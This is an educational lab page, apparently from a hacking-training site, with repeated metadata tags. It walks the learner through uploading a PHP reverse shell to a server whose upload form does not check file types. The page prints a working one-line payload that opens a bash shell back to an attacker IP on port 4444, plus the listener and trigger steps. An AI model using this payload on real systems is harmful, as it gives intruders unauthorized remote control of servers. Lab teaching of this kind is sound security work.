Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP
Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP
In this lab, you will practice using a reverse shell to remotely take control of a vulnerable server. Your mission is to identify a poorly secured form, upload a malicious file, and capture a flag hosted on the system. In this lab, you will learn:
netcat
Follow these instructions to get started:
The server hosts a website developed in PHP, accessible via a browser, which contains a form that does not validate the type of uploaded files. Your task is to prepare a functional reverse shell and get the server to connect back to your machine.
Explore the vulnerable website: Access the machine's IP from your browser and locate the file upload form.
Prepare your reverse shell in PHP: Create a file named shell.php
with the following content:
1<?php 2exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"); 3?>
YOUR_IP
with the IP of your attacking machine.Start a listener on your machine
Upload the reverse shell to the server
Activate the reverse connection: Access the uploaded file through the browser. If everything is set up correctly, you will receive an interactive shell in your terminal.
Remember: You are in a controlled environment for educational purposes. Ethical knowledge is your best tool. Observe, explore, and learn to identify insecure configurations.
Happy hacking!
Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP
Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP
Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP
Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP
Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP
Difficulty
intermediate
Average duration
2 hrs
Technologies
cybersecurity
linux
reverse-shell
owasp-a05-security-misconfiguration
red team
netcat
file-upload
PHP